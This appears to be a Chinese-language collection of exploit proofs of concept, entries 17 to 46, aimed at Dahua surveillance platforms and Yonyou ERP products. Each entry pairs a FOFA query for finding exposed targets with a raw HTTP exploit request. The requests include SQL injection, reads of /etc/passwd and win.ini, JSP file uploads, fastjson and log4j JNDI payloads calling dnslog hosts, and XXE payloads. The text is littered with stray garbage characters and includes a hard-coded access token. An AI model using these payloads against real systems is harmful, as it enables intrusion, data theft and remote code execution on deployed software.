  a+ _( L. g' x; c, FGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
. `1 w5 o5 A8 ?Host: x.x.x.x
5 b2 }4 s; o$ {0 Y7 w  t6 e% NUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
' [8 ]3 h8 u/ W6 I/ X6 K  V9 LConnection: close
5 L  V% l6 Y; k) R! X( gAccept: */*
: \& {  K  ]! Q1 P4 \Accept-Language: en
Accept-Encoding: gzip
7 W6 Y0 _; o& P7 U  o
- L- A. e7 j1 n6 ^
5 ^* f/ Z: o/ V, W7 f0 X17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
' G. t) {& U8 G1 O. F- _9 L: YPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 e6 ]* K$ c' {/ ^, P  kConnection: close
+ \7 z2 A/ `( G+ @% b" ^6 {Content-Length: 345
  U7 S6 ^+ D2 I" `) xAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
4 B4 d7 K" }! ^4 Y0 j. u) Z      <netMarkings>
8 {3 ^& |/ g8 V5 Y* ~* B       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
/ G5 k. S+ i+ C; j# y) U+ c1 \. I' Z* R      </netMarkings>
    </ns1:deleteBulletin>
7 C. b, _) b+ G) |6 }) K0 [. x  </s11:Body>
</s11:Envelope>
; h% `  d/ M  V

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
; }7 J( ^* s4 Z! `) b$ N! \# KGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
" C2 T& h' Y; u9 E6 j! {8 O" YHost: your-ip
" {) _: z1 J2 h6 T0 b7 I& CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
+ a* X- ^( t! V+ h: I( O# x5 DAccept: */*
! D, G$ \3 T2 {: m6 c+ ]7 g! }; b5 gConnection: keep-alive
. Z' a; e/ u+ I  K5 e4 v


6 n5 i1 B) h( ^2 F1 w( e" V19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 ]/ r% D6 N4 ~4 a6 e+ O4 fFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
5 P+ O+ E3 c# t3 n( B9 f+ }Host:
$ p- Z% O" K' G, ?5 d8 w4 UUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 v+ ~, I4 G% T5 |Accept-Encoding: gzip, deflate
Accept: */*
% X4 I* ~0 s5 ~# }" b! JConnection: keep-alive
& X# ^1 |7 ~1 f) }0 ?+ L

6 u: Z" \: m" Q20. 大华ICC智能物联综合管理平台任意文件读取
" |8 G0 M- p8 W5 OFOFA：body="*客户端会小于800*"
; [' ]9 v! G0 m. ~8 {, N- OGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
. B/ V# K- M+ M3 h9 \' N0 CUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& u* t/ B% w: v% e2 j  ~  MAccept: */*
/ @  S* Y& \4 q3 w2 n8 K, TAccept-Language: en
Accept-Encoding: gzip
: S& r* D" H9 R" q, }3 \, _: i. q

* R( U1 H# Q* {" e3 s( Y% r3 |21. 大华ICC智能物联综合管理平台random远程代码执行
- }  c$ h' K5 }6 MFOFA：icon_hash="-1935899595"
) e2 w5 z4 i# `5 |6 L2 i/ ]POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
  l9 w/ T. |# l4 X! Q  ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: D# L& |% Q! Z/ Q: `Content-Length: 161
  D; r% X% c' i2 \6 k- uAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
' _' [( @% c# S/ y3 Z
* d3 w, B& Q/ Q5 p1 H. }# ?" z1 l{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
: }) m1 l' g; d, |    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}

& |- k& t0 q+ V4 N
; a( h7 ^: Q3 N; p22. 大华ICC智能物联综合管理平台 log4j远程代码执行
2 e4 @' F4 c7 GFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
0 }5 c* {9 t) j! _5 M8 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

5 I! E0 W! S) e{
/ k0 b" l5 l4 G' V* F% |/ x"loginName":"${jndi:ldap://dnslog}"
. _" V; k9 R" B) |# ^- S% A5 H}

. k% B9 U! D/ p% D8 F8 ~) N
& {  Q, N$ s# H
* K/ {2 s( z, i2 C+ e" ?2 i8 R: {23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
, O3 l/ S$ ?9 z$ {- {Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
: v& M6 S  C' c* c+ A$ vConnection: close

5 p4 M' a6 E; L{
" ?/ N6 _  N: Y) u    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
8 L4 P! b  K% H2 W  x  y       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
$ {" p- Q0 ~" G
- D6 J. K6 }7 b' y
6 s1 Y: B$ n: b' n& q  d- W% i24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
4 j" a7 y' h" s6 r) Y/ D* p+ RHost: x.x.x.x
$ }. J4 O) P& W9 S: d+ l( b$ nUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
( b8 s; R( @7 l( p" l- X( d7 pAccept-Encoding: gzip
  D* Z/ _+ g9 f' \9 iContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

' Y  I2 e" L- a7 U; {& V2 j, j-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
$ r  J: O1 p$ S' v! R& mContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
; F# s: B. X( o6 ~2 s% N1 Z-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


# ~4 F7 u) x. @; Y3 t: [1 G25. 用友NC registerServlet JNDI 远程代码执行
% Y  K1 R" U7 Y$ F2 p. X) tFOFA：app="用友-UFIDA-NC"
0 x- D. Z" X) NPOST /portal/registerServlet HTTP/1.1
! l* p! f) O+ C" p2 }! RHost: your-ip
- @) d% T. S/ C% XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
  Y$ o( g: v$ G0 M2 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 u+ V  e! |) x; KAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
; L  ?+ J8 ^8 n
type=1&dsname=ldap://dnslog


( y7 o: F! o3 ?" I" E# @
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 ~7 i$ I$ s7 A: h! J9 w7 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) u7 E& e9 d  e, `; M0 E! ]3 @Content-Type: application/x-www-form-urlencoded
$ r: z( ^: R" n' wAccept-Encoding: gzip, deflate
Accept: */*
6 _3 L5 R' {0 S6 i9 MConnection: keep-alive

' ]/ K) i3 Y' K! {, ^
) T7 r: g: _( z' D2 K; D7 z27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
8 o/ E+ a) N; WGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
! D" ~. i% N$ O& u/ K, HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
& q3 e; @. E$ g6 e5 w) b! `# KContent-Type: text/xml; charset=utf-8


* Q" H' O) b( O: Z28. 用友NC grouptemplet 任意文件上传
+ T- M* o5 X8 V3 CFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
* y4 |: _: l" q$ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
+ B) y9 t8 @3 _' L4 h$ lContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: l+ I" `. A  i$ t* CAccept-Encoding: gzip

% u. V2 S1 z  z) _* b------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

$ k; H" S0 h8 N# M<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
! |7 m/ T& U9 }% k6 y( U5 y------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

3 s2 O6 ^; c, W* F) I8 e$ m' U9 l
/uapim/static/pages/nc/head.jsp
& N# L' M* S% Y$ I
, l/ b2 m. z  Q29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
( Q1 e3 {$ t# d1 A8 JHost: your-ip
& W: u2 J4 y+ r3 D4 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) \$ a& G- S! S0 fContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- D9 L' M9 G9 C9 U3 D9 uAccept: */*
" f5 S% p3 t* EConnection: keep-alive

% L1 p$ h, l  I" t, w
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ Z9 h% t7 s2 b2 |POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
0 n% V3 z8 R8 I. o) A3 Y/ GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
, Z5 O9 |5 w; z2 R: uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

' g7 y$ C0 o* r------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
, D0 _% O6 k$ Q& y: L/ C% R( e
) T& w& W! P2 z" j2 g
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


# Z  N* c: ~* }32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
+ s7 a; y" {/ D6 fFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
% t5 x5 S3 n  G2 }. i, f! MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 v' z6 a6 P6 g& zContent-Type: application/x-www-form-urlencoded
  E; V( Q. S+ V- f0 cAccept-Encoding: gzip, deflate
3 K5 Y1 U% K2 d  P% SAccept: */*
Connection: keep-alive


* G/ Q! F' a$ h9 _33. 用友NC downTax/download SQL注入
' U  c0 F) l, G8 U0 J5 R2 U. K$ ^) Iversion：NC6.5FOFA：app="用友-UFIDA-NC"
, X. {3 v8 S2 X; TGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; K7 J( m4 ^9 F, Z5 L. g& _. n, gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. Q' f+ ^- s9 }9 D$ LContent-Type: application/x-www-form-urlencoded
7 @  [7 ?7 F% L3 r* f, H/ YAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

; M( D  A% z+ g& F
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! R6 Q* x$ R- x4 OHost: your-ip
7 P8 p8 p! c8 U% T2 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* k9 D' f$ k6 f0 j( ~- f. Y5 H- cContent-Type: application/x-www-form-urlencoded
# D% I0 N, G. K4 m9 WAccept-Encoding: gzip, deflate
# A, k7 q+ m2 D+ I; o, v$ S0 AAccept: */*
. F" B  H' M$ v, ~& AConnection: keep-alive

  N" b5 g/ ^$ O5 W6 |8 t
; `! c$ S$ B: B, R- A! J) t35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
+ q9 h, ?* o% ^4 JPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
' k5 s- d- D4 m+ N5 D1 qHost: 203.25.218.166:8888
% b# M; K( a5 k' XUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
' S. I& |* K+ _! H$ P6 t: SAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
3 f: J, U, z' ~9 O* b# p6 D% ?( x! B0 gaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
6 U1 u$ G6 s* W$ T# w+ ?Content-Length: 190
7 P9 O0 I; }; sContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
; u+ ^( d, v, o" N( F1 B$ r
. {# ]6 L- C2 R1 B% {+ Y--fd28cb44e829ed1c197ec3bc71748df0
% G8 L9 r7 P! ]8 a+ i" H* I7 ]& Z$ @Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

9 K1 A; u; b$ Y/ ?; B3 R<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


: l; R# N* J2 N( T- }; G( B$ Y; l$ i36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
' S3 X( g  J( g# M6 w- T8 RHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
0 B2 l8 k) n+ H! J" U' q( P! F. tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
, ~. Y+ G3 L& x: @, O0 I+ V! _Content-Type: application/x-www-form-urlencoded
7 n- P. t: w9 U; w2 _' A# F1 NUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
* x3 l  x% t7 G
6 a& D6 E# a7 x* P. G
" Z" b8 E' J' X' ^" t$ Y& a  ?37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
# J/ R6 m4 [( QHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; H. y* X  ~- S+ fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 {1 x3 {! \7 \1 ]Connection: close
Content-Type: text/xml;charset=UTF-8
" R/ \6 Y. Z/ C2 d$ DSOAPAction: urn:getResult
0 ?) }. g- r9 |2 b# v8 g7 \3 U% OUpgrade-Insecure-Requests: 1

0 {& ^# @$ d7 P8 E8 Z/ b: Z0 z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
6 c, m0 _7 i5 x3 C<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
: A) O" ^2 `6 ^0 W" F<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
8 y+ r" e! k. g: h+ X8 X<xxx/>]]></iup:string>
</iup:getResult>
: \& H& F6 W% n, n& H" g</soapenv:Body>
</soapenv:Envelope>
5 B; H* ^) Y+ k4 ~
  ]4 Y) H" [9 R$ g. e" J1 V8 J6 S
; ]# q$ C3 N; v" G) {
38. 用友U8 Cloud smartweb2.RPC.d XXE
, z( U$ {  U/ _* z/ I* M, @/ y4 \7 AFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
: _! Q* G8 v3 ]; |Host: 192.168.40.131:8088
# J+ m3 j, D$ p1 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
) [. R% ?4 c# @9 g
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
- w$ ~5 D7 D/ J1 t- @; R

39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
" j. V& A" m* O+ c* ^- {POST /servlet/RegisterServlet HTTP/1.1
- l4 ?, O. x; M3 cHost: 192.168.86.128:8089
0 R/ [8 s' G/ LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
* u! ?% ]" g( I9 b1 c5 r, zConnection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
% |  n7 l% Z3 L* t" ~X-Forwarded-For: 127.0.0.1
6 E  e+ {. @+ I9 a2 _" s8 vAccept-Encoding: gzip
8 n, ~9 X8 q; `* K0 D
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
! A1 l$ e! H' F$ A3 ~/ A

& R: V  u0 T$ W5 z40. 用友U8-Cloud XChangeServlet XXE
% @" ]& E& H! X  a/ F: N- fFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
8 }5 n7 h( r& Q' T  KUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 L. p" _) V% s+ Z" W+ ^: NContent-Type: text/xml
Connection: close
" N6 S2 o0 H3 s* ?$ H% S
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


$ Z* W0 J( y0 N1 R: O& K41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
( R* b( g9 [8 `FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ {- y4 p4 U' MHost:
' n/ V$ d6 E$ h8 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
! l. m. a* i7 i8 v, tConnection: close
! U7 f) N0 ?+ E
& M9 `9 a( w+ G
% p' u' \* K: Y42. 用友GRP-U8 SmartUpload01 文件上传
& G" ]& z/ [- k2 L* X4 HFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
( u. f' P- R" i" [Host: x.x.x.x
/ Z. P8 m! }% D/ J/ @+ rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

( ~' @: V2 z( l& y5 P: f+ xPAYLOAD

0 M" `% \4 s- Y! b( E
3 `/ P$ h6 y6 t! j: T: w6 Vhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
% y$ |$ w# Z: O$ \1 Z
6 F( a: [2 K% M43. 用友GRP-U8 userInfoWeb SQL注入致RCE
8 A1 Q. E2 g* F9 a: OFOFA：app="用友-GRP-U8"
& \5 k) I( y1 U/ @POST /services/userInfoWeb HTTP/1.1
Host: your-ip
" j* {3 e) ?' OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! U7 b: q) ?, I- Z' O. n5 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% o5 H9 ], j- X+ S+ FConnection: close
SOAPAction:
4 W2 [, e/ Y1 E9 L: I9 H( [' M/ fContent-Type: text/xml;charset=UTF-8
  a: w1 I" `* |
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
3 z6 N) G  h0 g6 P   <soapenv:Header/>
9 _2 w, [0 F* X$ Q   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
" X$ l; q/ n* I2 j      </ser:getUserNameById>
2 ]& X" l; `5 J; Z2 z* }0 f2 U# Y   </soapenv:Body>
</soapenv:Envelope>
0 C7 g* X- j( x' t. V( u

) j& b; Y# `; p/ |/ k44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
  N4 {9 t0 P) vGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; W5 o- g5 n( m0 @* ~0 j  jConnection: close
0 L4 Q$ @0 B3 V' |
( m0 g; R1 x/ V( [
* E& N: j% X: B3 Y# O45. 用友GRP-U8 ufgovbank XXE
1 _( `2 n, v% Y* ^  R7 \FOFA：app="用友-GRP-U8"
: x7 {) {5 \+ P5 n9 L8 PPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
! q* c2 ?$ a* Q* j" gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
. I$ O" s& C. A  v" _# t# N0 ~Content-Length: 161
5 Q. c; z0 u, |" Q7 N5 \9 e, v/ T7 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' N2 q. D' H4 ]: I" PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; m0 Q* ]" g: \2 c3 Q2 V$ Q4 I* S$ k3 o- lContent-Type: application/x-www-form-urlencoded
7 K  F1 {6 m8 ?# ^: HAccept-Encoding: gzip
% \. k; \, \2 |6 f0 C1 ]& Q* n
! X6 C: r5 z- i) Y  j+ K% @* preqData=<?xml version="1.0"?>
5 Z# ]0 N3 Z! [+ c& I0 p% C<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
. H/ z$ p, D& i! o0 g
$ l  v! }$ S2 d* Z+ I4 s6 O
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
  H( M' d: v& A1 s+ i7 V7 wGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* ?& |! K. b& `5 ~Accept-Encoding: gzip, deflate
, V  i- b6 X: ?* hAccept-Language: zh-CN,zh;q=0.9
Connection: close
